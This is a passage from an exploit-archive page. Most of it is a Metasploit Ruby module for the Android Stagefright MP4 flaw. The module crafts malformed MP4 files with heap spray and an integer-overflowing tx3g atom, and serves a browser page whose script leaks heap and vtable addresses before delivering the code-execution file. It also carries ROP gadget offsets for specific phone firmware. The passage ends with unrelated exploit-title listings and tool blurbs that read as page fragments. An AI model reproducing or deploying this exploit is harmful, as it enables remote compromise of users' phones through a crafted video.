    # This allows us to triggering the bug multiple times in one file, or --
    # as we have in this case -- survive after and return successfully.
    if is_samsung
      # Add this as a nested track!
      trak_data << get_atom('trak', trigger)
    else
      trak_data << trigger
    end
    trak = get_atom('trak', trak_data)

    # On Samsung devices, we could put more chunks here but they will
    # end up smashing the temporary buffer further...

    chunks = []
    chunks << get_ftyp()
    chunks << get_atom('moov')
    chunks << verified_trak * 0x200
    chunks << shape_vector * groom_count
    chunks << trak

    mp4 = chunks.join
    mp4
  end

  def get_mp4_rce(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    chunks = []
    chunks << get_ftyp()

    # Note, this causes a few allocations
    moov_data = ''
    mvhd_data = [ 0, 0x41414141 ].pack('N*')
    mvhd_data << 'B' * 0x5c
    moov_data << get_atom('mvhd', mvhd_data)

    # Add a minimal, verified 'trak' to satisfy mLastTrack being set
    verified_trak = ''
    stbl_data = get_stsc(0x28)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    verified_trak << get_atom('trak', get_atom('stbl', stbl_data))

    # Add it to the file
    moov_data << verified_trak

    # The spray_addr field is typically determined empirically (by testing), but
    # has proven to be fairly predictable (99%). However, it does vary from
    # one device to the next (probably determined by the pre-loaded libraries).
    spray_addr = 0xb0c08000
    spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?

    # Construct a single page that we will spray
    page = build_spray(my_target, peer, spray_addr)
    return nil if page.nil?

    # Build a big block full of spray pages and and put it in an avcC chunk
    # (but don't add it to the 'moov' yet)
    spray = page * (((16 * 1024 * 1024) / page.length) - 20)
    avcc = get_atom('avcC', spray)

    # Make the nasty trak
    tkhd1 = ''
    tkhd1 << [ 0 ].pack('C')  # version
    tkhd1 << 'D' * 3          # padding
    tkhd1 << 'E' * (5*4)      # {c,m}time, id, ??, duration
    tkhd1 << 'F' * 0x10       # ??
    tkhd1 << [
      0x10000,  # a00
      0,        # a01
      0,        # dx
      0,        # a10
      0x10000,  # a11
      0         # dy
    ].pack('N*')
    tkhd1 << 'G' * 0x14       # ??

    # Add the tkhd (track header) to the nasty track
    trak1 = ''
    trak1 << get_atom('tkhd', tkhd1)

    # Build and add the 'mdia' (Media information) to the nasty track
    mdia1 = ''
    mdhd1 = [ 0 ].pack('C')  # version
    mdhd1 << 'D' * 0x17      # padding
    mdia1 << get_atom('mdhd', mdhd1)
    mdia1 << get_atom('hdlr', 'F' * 0x38)  # Media handler
    dinf1 = ''
    dinf1 << get_atom('dref', 'H' * 0x14)  # Data information box
    minf1 = ''
    minf1 << get_atom('smhd', 'G' * 0x08)
    minf1 << get_atom('dinf', dinf1)
    stbl1 = get_stsc(2)
    minf1 << get_atom('stbl', stbl1)
    mdia1 << get_atom('minf', minf1)
    trak1 << get_atom('mdia', mdia1)

    # Add something to take up a slot in the 0x20 size range
    # NOTE: We have to be able to free this later...
    block = 'Q' * 0x1c
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Add a Track (hopefully right after)
    trak1 << verified_trak

    # Add the avcC chunk with the heap spray. We add it here so it's sure to be
    # allocated when we get control of the program counter...
    trak1 << avcc

    # Build the first of the nasty pair of tx3g chunks that trigger the
    # vulnerability
    alloc_size = 0x20
    overflow_size = 0xc0

    overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_1 = get_atom('tx3g', overflow)
    trak1 << tx3g_1

    # Free the original thing and put the tx3g temporary in it's place...
    block = 'R' * 0x40
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Make the second one, which triggers the integer overflow
    big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
    more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_2 = get_atom('tx3g', more_data, big_num)
    trak1 << tx3g_2

    # Add the nasty track to the moov data
    moov_data << get_atom('trak', trak1)

    # Finalize the moov chunk
    moov = get_atom('moov', moov_data)
    chunks << moov

    # Combine outer chunks together and voila.
    mp4 = chunks.join
    mp4
  end

  def on_request_uri(cli, request)
    # If the request is for an mp4 file, we need to get the target from the @peers hash
    if request.uri =~ /\.mp4\?/i
      mp4_fn = request.uri.split('/')[-1]
      mp4_fn = mp4_fn.split('?')[0]
      mp4_fn[-4,4] = ''

      peer = @peers[mp4_fn]

      my_target = nil
      my_target = peer[:target] if peer
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
        return
      end

      # Extract the address(s) we just leaked...
      sia_addr = request.qstring['sia'].to_i  # near_sampiter data address
      peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
      sfv_addr = request.qstring['sfv'].to_i  # stagefright Vector<size_t> vtable ptr
      peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
      # reset after a crash..
      if sia_addr == 0 && sfv_addr == 0
        peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
      end

      # Always use this header
      out_hdrs = {'Content-Type'=>'video/mp4'}

      if peer[:vector_vtable_addr].nil?
        # Generate the nasty MP4 to leak infoz
        mode = "infoleak"
        mp4 = get_mp4_leak(my_target, peer)
      else
        mode = "RCE"
        mp4 = get_mp4_rce(my_target, peer)
        if mp4.nil?
          send_not_found(cli)
          print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
          return
        end
      end

      # Send the nasty MP4 file to trigger the vulnerability
      if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
        mp4 = Rex::Text.gzip(mp4)
        out_hdrs.merge!('Content-Encoding' => 'gzip')
        gzip = "gzip'd"
      else
        gzip = "raw"
      end

      client = "Browser"
      if request.headers['User-Agent'].include? 'stagefright'
        client = "SF"
      end

      addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]

      print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")

      # Send the nastiness!
      send_response(cli, mp4, out_hdrs)
      return
    end

    # Initialize a target. If none suitable, then we don't continue.
    my_target = target
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
        return
      end
      vprint_status("Target selected: #{my_target.name}")
    end

    # Generate an MP4 filename for this peer
    mp4_fn = rand_text_alpha(11)

    # Save the target for when they come back asking for this file
    # Also initialize the leak address to the first one
    @peers[mp4_fn] = { :target => my_target }

    # Send the index page
    mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
    html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video;       // the video tag
var to_id;       // timeout ID
var req_start;   // when we requested the video
var load_start;  // when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;

function duration_changed() {
  var now = Date.now();
  var req_time = now - req_start;
  var load_time = now - load_start;
  console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
  if (load_time > 2000) {
    // probably crashed. reset the entire process..
    near_sampiter_addr = -1;
    vector_vtable_addr = -1;
    waitTime = 6000;
    crashes += 1;
    if (crashes > 5) {
      console.log('too many crashes!!!');
      stop_everything();
    }
  }
  else {
    // if we got the near_sampiter_addr already, we are now trying to read the code pointer.
    // otherwise, we're trying to find near_sampiter_addr...
    if (near_sampiter_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.videoHeight != 768) { // XXX: TODO: parameterize
        if (video.videoHeight != 0) { // wtf? crashed??
          value = video.videoHeight;
          console.log('leaked heap pointer: 0x' + value.toString(16));
          near_sampiter_addr = value;
        }
      }
    } else if (vector_vtable_addr == -1) {
      // if we get this value, we failed to overwrite the metadata. try again.
      if (video.duration != 314) { // XXX: TODO: parameterize
        // zero means a value that could not be represented...
        if (video.duration != 0) {
          var value = Math.round(video.duration * 1000000);
          console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));

          vector_vtable_addr = value;
        }
      }
    }

    // otherwise, we just keep trying with the data we have...
  }

  if (error == false) {
    if (vector_vtable_addr == -1) {
      to_id = setTimeout(reload_leak, waitTime);
    } else {
      to_id = setTimeout(reload_rce, waitTime);
    }
    waitTime = 100;
  }
}

function stop_everything() {
  if (error == false) {
    console.log('---- GIVING UP!! ----');
    error = true;
  }
  if (to_id != -1) {
    clearTimeout(to_id);
  }
}

function start() {
  video = document.getElementById('vid');
  video.onerror = function() {
    console.log('  onError called!');
    stop_everything();
  }
  video.ondurationchange = duration_changed;
  //reload_rce();
  reload_leak();
}

function get_uri() {
  var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
  var uri = '#{mp4_uri}?x=' + rn;
  if (near_sampiter_addr != -1) {
    uri += '&sia=' + near_sampiter_addr;
  }
  if (vector_vtable_addr != -1) {
    uri += '&sfv=' + vector_vtable_addr;
  }
  return uri;
}

function reload_leak() {
  to_id = -1;
  var xhr = new XMLHttpRequest;
  xhr.responseType = 'blob';
  xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
      if (xhr.status != 200 || !xhr.response) {
        stop_everything();
        return;
      }
      load_start = Date.now();
      try {
        //var url = URL.createObjectURL(xhr.response);
        var a = new FileReader();
        a.onload = function(e) {
          //console.log('onload: ' + e.target.result);
          video.src = e.target.result
        };
        a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
        a.readAsDataURL(xhr.response);
      } catch(e) {
        console.log('  ERROR: ' + e.message);
        stop_everything();
      }
    }
  };
  xhr.open('GET', get_uri(), true);
  req_start = Date.now();
  xhr.send();
}

function reload_rce() {
  to_id = -1;
  video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
    print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  #
  # Return some firmware-specific values to the caller.
  #
  # The VectorRVA field is extracted using the following command:
  #
  # $ arm-eabi-readelf -a libstagefright.so  | grep _ZTVN7android6VectorIjEE
  #
  def get_details(my_target)
    details = {
      'lrx' => {
        'VectorRVA' => 0x10ae30,
        'PivotStrategy' => 'lrx',
        'Pivot1' => 0x67f7b,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0xaf9dd,   # ldm.w r4, {sp} ; pop {r3, pc}
        'Adjust' => 0x475cd    # pop {r3, r4, pc}
      },
      'lmy-1' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-1',
        'Pivot1' => 0x68783,   # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
        'Pivot2' => 0x81959,   # ldm.w r4, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'lmy-2' => {
        'VectorRVA' => 0x10bd58,
        'PivotStrategy' => 'lmy-2',
        'Pivot1' => 0x6f093,   # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
        'Pivot2' => 0x81921,   # ldm.w r0!, {r1, ip, sp, pc}
        'Adjust' => 0x479b1    # pop {r3, r4, pc}
      },
      'shamu / LYZ28E' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e91,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'shamu / LYZ28J' => {
        'VectorRVA' => 0x116d58,
        'PivotStrategy' => 'lyz',
        'Pivot1' => 0x91e49,   # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
        'Pivot2' => 0x72951,   # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
        'Adjust' => 0x44f81    # pop {r3, r4, pc}
      },
      'sm-g900v / OE1' => {
        'VectorRVA' => 0x174048,
        'PivotStrategy' => 'sm-g900v',
        'Pivot1' => 0x89f83,   # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
        'Pivot2' => 0xb813f,   # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
        'Adjust' => 0x65421    # pop {r4, r5, pc}
      }
    }

    details[my_target['Rop']]
  end

end
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-07-02 "WhatsApp Remote Code Execution - Paper" webapps android "ashu Jaiswal"
2020-02-24 "Android Binder - Use-After-Free (Metasploit)" local android Metasploit
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2019-11-08 "Android Janus - APK Signature Bypass (Metasploit)" local android Metasploit
2019-10-16 "Whatsapp 2.19.216 - Remote Code Execution" remote android "Valerio Brussani"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
2019-08-30 "Canon PRINT 2.5.5 - Information Disclosure" local android 0x48piraj
2019-07-24 "Android 7 < 9 - Remote Code Execution" remote android "Marcin Kozlowski"
2019-07-15 "Android 7 - 9 VideoPlayer - 'ihevcd_parse_pps' Out-of-Bounds Write" dos android "Marcin Kozlowski"
Release Date Title Type Platform Author
2020-05-25 "Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)" remote hardware Metasploit
2020-05-25 "Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)" remote windows Metasploit
2020-05-22 "WebLogic Server - Deserialization RCE - BadAttributeValueExpException (Metasploit)" remote multiple Metasploit
2020-05-19 "Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)" remote php Metasploit
2020-05-01 "Apache Shiro 1.2.4 - Cookie RememberME Deserial RCE (Metasploit)" remote multiple Metasploit
2020-04-28 "Docker-Credential-Wincred.exe - Privilege Escalation (Metasploit)" local windows Metasploit
2020-04-20 "Unraid 6.8.0 - Auth Bypass PHP Code Execution (Metasploit)" remote linux Metasploit
2020-04-17 "Nexus Repository Manager - Java EL Injection RCE (Metasploit)" remote linux Metasploit
2020-04-16 "VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit)" local macos Metasploit
2020-04-16 "ThinkPHP - Multiple PHP Injection RCEs (Metasploit)" remote linux Metasploit
2020-04-16 "Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit)" remote linux Metasploit
2020-04-16 "TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)" remote linux_mips Metasploit
2020-04-16 "Apache Solr - Remote Code Execution via Velocity Template (Metasploit)" remote multiple Metasploit
2020-04-16 "PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)" remote php Metasploit
2020-04-16 "Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit)" remote java Metasploit
2020-04-16 "DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2020-03-31 "SharePoint Workflows - XOML Injection (Metasploit)" remote windows Metasploit
2020-03-31 "DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)" remote hardware Metasploit
2020-03-31 "Redis - Replication Code Execution (Metasploit)" remote linux Metasploit
2020-03-31 "IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)" remote multiple Metasploit
2020-03-17 "Rconfig 3.x - Chained Remote Code Execution (Metasploit)" remote linux Metasploit
2020-03-17 "ManageEngine Desktop Central - Java Deserialization (Metasploit)" remote multiple Metasploit
2020-03-10 "PHPStudy - Backdoor Remote Code execution (Metasploit)" remote php Metasploit
2020-03-10 "Nagios XI - Authenticated Remote Command Execution (Metasploit)" remote linux Metasploit
2020-03-09 "Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)" remote multiple Metasploit
2020-03-09 "Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)" remote windows Metasploit
2020-03-09 "PHP-FPM - Underflow Remote Code Execution (Metasploit)" remote php Metasploit
2020-03-09 "Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)" remote multiple Metasploit
2020-03-09 "OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)" local linux Metasploit
2020-03-09 "Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)" remote multiple Metasploit
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.